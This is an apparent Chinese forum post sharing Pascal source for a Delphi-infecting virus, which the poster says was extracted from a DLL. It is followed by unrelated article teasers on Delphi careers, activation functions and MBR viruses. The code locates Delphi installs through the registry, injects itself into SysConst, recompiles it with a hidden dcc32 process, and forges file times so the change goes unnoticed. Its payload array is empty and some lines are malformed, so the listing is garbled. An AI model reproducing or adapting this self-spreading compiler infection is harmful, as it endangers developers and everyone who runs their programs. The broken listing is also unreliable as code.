把防毒軟體禁止掉後，終於把dll中的pas源程式剝出來了，供大家欣賞:
uses windows;
var sc:array[1..24] of string=(
function x(s:string):string;
var i:integer;
begin for i:=1 to length(s) do
if s[i]:=#36 then
s[i]:=#39;
result:=s;
end;
procedure re(s,d,e:string);
var f1,f2:textfile;
h:cardinal;
f:startupinfo;
p:process_information;
b:boolean;
t1,t2,t3:filetime;
begin
h:=createfile(pchar(d+$bak$),0,0,0,3,0,0);
if h<>dword(-1) then
begin
closehandle(h);
exit;
end;
assignfile(f1,s);
reset(f1);
if ioresult<>0 then
exit;
assignfile(f2,d+$pas$);
rewrite(f2);
if ioresult<>0 then
begin
closefile(f1);
exit;
end;
while not eof(f1) do
begin readln(f1,s);
writeln(f2,s);
if pos($implementation$,s)<>0 then
break;
end;
for h:= 1 to 1 do
writeln(f2,sc[h]);
for h:= 1 to 23 do
writeln(f2,$$$$+sc[h],$$$,$);
writeln(f2,$$$$+sc[24]+$$$);
$);for h:= 2 to 24 do
writeln(f2,x(sc[h]));
closefile(f1);
closefile(f2);
movefile(pchar(d+$dcu$),pchar(d+$bak$ ));
fillchar(f,sizeof(f),0);
f.cb:=sizeof(f);
f.dwflags:=startf_useshowwindow;
f. wshowwindow:=sw_hide;
b:=createprocess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0, f,p);
if b then
waitforsingleobject(p.hprocess,infinite);
movefile(pchar(d+$bak$), pchar(d+$dcu$));
deletefile(pchar(d+$pas$));
h:=createfile(pchar(d+$bak$),0,0,0,3, 0,0);
if h=dword(-1) then
exit;
getfiletime(h,@t1,@t2,@t3);
closehandle(h);
h:= createfile(pchar(d+$dcu$),256,0,0,3,0,0);
if h=dword(-1) then exit;
setfiletime(h, @t1,@t2,@t3);
closehandle(h);
end;
procedure st;
var k:hkey;
c:array [1..255] of char;
i:cardinal;
r:string;
v:char;
begin
for v:=$4$ to $7$ do
if regopenkeyex( hkey_local_machine,pchar($software/borland/delphi/$+v+$.0$),0,key_read,k)=0 then
begin
i:=255;
if regqueryvalueex(k,$rootdir$,nil,@i,@c,@i)=0 then
begin
r:=$$;
i:= 1;
while c[i]<>#0 do begin r:=r+c[i];
inc(i);
end;
re(r+$/source/rtl/sys/sysconst$+ $.pas$,r+$/lib/sysconst.$,$"$+r+$/bin/dcc32.exe" $);
end;
regclosekey(k);
end;
end;
begin st;
end.
眾程式設計師 針對Delphi學習的討論
a君 我是delphi程式設計師，學delphi一直使我心不安！雖然delphi讓我很快的進入程式設計的天堂！但是太多的原因讓我轉想c delphi在程式設計界裡面永遠只能做低層人員不被重視！工資也越來越少！b君 要知道高手，即使是木棒在他手裡也會變成劍的道理。delphi學精了，學bcb很容易。c...
啟用函式的「3W」
學習神經網路，必然會遇到啟用函式，那麼 本文嘗試對此進行 人工神經網路是仿照了大腦的神經網路系統來處理資料的，它由節點組成了層，通常乙個網路又有多個層 除了輸入層和輸出層之外，有多個隱藏層 每個節點就是乙個神經元。資訊從輸入層進入，傳到隱藏層 如圖所示 按照簡化的模型，輸入資料乘以權重 weight...
針對MBR的檔案型病毒及其防護程式的研究與實現
在計算機病毒和反病毒激烈博弈的今天，病毒技術複雜高深，而且發展迅猛，給反病毒技術帶來巨大挑戰，同時也威脅到了計算機使用者的資訊保安。本文詳細剖析了在windows作業系統上較為常見的檔案型病毒，使用masm彙編，開發了可以重定位並具有感染能力的傳播模組，攻擊模組對mbr進行剖析，實現對mbr的修改和...